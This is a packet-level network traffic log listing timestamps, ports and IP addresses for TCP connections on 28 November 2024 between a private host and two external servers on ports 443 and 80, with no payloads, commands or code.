Nov 28, 2024 02:27:19.745696068 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.745726109 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.745747089 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.754317999 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.754343033 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.754403114 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.754415035 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.754446030 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.754499912 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.755206108 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.755274057 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.755587101 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.755635977 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.756192923 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.756221056 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.756278992 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.756287098 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.756330967 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.756330967 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.765822887 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.765844107 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.765866041 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.765918016 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.765930891 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.765935898 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.765975952 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.765975952 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.765985012 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.766026974 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.766026974 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.766736984 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.766762018 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.766819000 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.766827106 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.766864061 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.766882896 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.769365072 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.769390106 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.769448042 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.769454956 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.769483089 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.769495964 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.770284891 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.770348072 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.770351887 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.770363092 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.770397902 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.770426035 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.770473957 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.770486116 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.770504951 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.770637035 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.779818058 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.779831886 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.779958010 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.780127048 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.780222893 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.780237913 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.780985117 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.781019926 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.781047106 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.781148911 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.781219959 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.784001112 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.784203053 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.784271955 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.784341097 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.784946918 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.784960032 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.784966946 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.785059929 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.785085917 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.785216093 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.785243034 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.785304070 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.785317898 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.785331011 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.785367966 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.785367966 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.786323071 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.786436081 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.786464930 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.786501884 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.787564039 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.787570953 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.787633896 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.788594961 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.788635015 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.788739920 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.788800001 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.789896965 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.789983988 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.790040016 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.790106058 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.790932894 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.791223049 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.791941881 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.792273045 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.792382002 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.792424917 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.792473078 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.793370008 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.793538094 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.793598890 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.794886112 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.794938087 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.795327902 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.795399904 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.795778990 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.795861006 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.795936108 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.795990944 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.797223091 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.797383070 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.797683001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.797873974 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.798297882 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.798361063 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.798451900 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.798563957 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.801848888 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.801894903 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.801940918 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.801951885 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.802000046 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.802000046 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.816171885 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.816215992 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.816265106 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.816277027 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.816322088 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.816322088 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.832701921 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.832762957 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.832850933 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.832865000 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.832899094 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.832962036 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.849306107 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.849366903 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.849427938 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.849441051 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.849476099 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.849476099 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.866786003 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.866885900 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.866919041 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.867075920 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.867274046 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.867337942 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.867563963 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.867650986 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.868608952 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.868622065 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.868679047 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.869787931 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.869849920 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.869926929 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.869986057 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.870860100 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.870934010 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.871011972 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.871072054 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.871476889 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.871536016 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.871613026 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.871624947 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.871637106 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.871678114 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.872108936 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.872147083 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.872253895 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.872298002 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.873354912 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.873500109 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.873521090 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.873562098 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.874429941 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.874444008 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.874535084 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.875691891 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.875739098 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.875834942 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.875921011 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.876661062 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.876718044 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.876948118 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.876995087 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.877917051 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.877978086 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.878057957 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.878154039 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.879050016 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.879106998 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.879215002 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.879296064 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.880285978 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.880405903 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.880593061 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.880655050 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.881329060 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.881402016 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.881589890 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.881660938 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.882565975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.882711887 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.882724047 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.882751942 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.883730888 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.883794069 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.883990049 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.884033918 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.884959936 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.885037899 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.885081053 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.885205984 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.886066914 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.886148930 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.886224985 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.886270046 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.887367010 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.887510061 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.887564898 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.888417959 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.888499975 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.888695002 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.888768911 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.888952971 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.889010906 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.889079094 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.889338970 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.889367104 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.889929056 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.889940977 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.890001059 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.891704082 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.891716003 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.891797066 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.892987013 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.893081903 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.893151045 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.893243074 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.894428968 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.894464016 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.894510984 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.894524097 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.894562960 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.894562960 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.894876957 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.894889116 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.894941092 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.896569967 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.896584034 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.896641970 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.896699905 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.896725893 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.896766901 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.896787882 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.896802902 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.896832943 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.897603989 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.897711039 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.898327112 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.898427963 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.899492979 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.899506092 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.899558067 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.903004885 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.903018951 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.903054953 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.903788090 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.903800011 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.903855085 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.904557943 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.904571056 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.904649973 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.905383110 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.905410051 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.905467987 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.905479908 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.905762911 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.907027960 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.907048941 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.907089949 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.907098055 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.907124996 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.907145977 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.911427975 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.911449909 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.911523104 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.911537886 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.911741972 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.913007975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.913022041 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.913088083 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.914060116 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.914155006 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.914650917 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.914710999 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.914741039 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.914758921 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.914817095 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.914824963 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.914868116 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.915616035 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.915628910 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.915682077 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.917356968 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.917368889 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.917404890 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.919097900 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.919110060 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.919261932 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.920860052 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.920871973 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.920914888 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.921750069 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.921792030 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.921821117 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.921844959 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.921879053 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.921891928 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.921916008 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.921926022 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.922606945 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.922686100 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.923504114 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.923595905 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.923614025 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.923618078 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.923669100 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.923679113 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.923722982 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.929141998 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.929164886 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.929203033 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.929214954 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.929253101 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.929253101 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.931895971 CET	443	49731	150.171.27.10	192.168.2.6
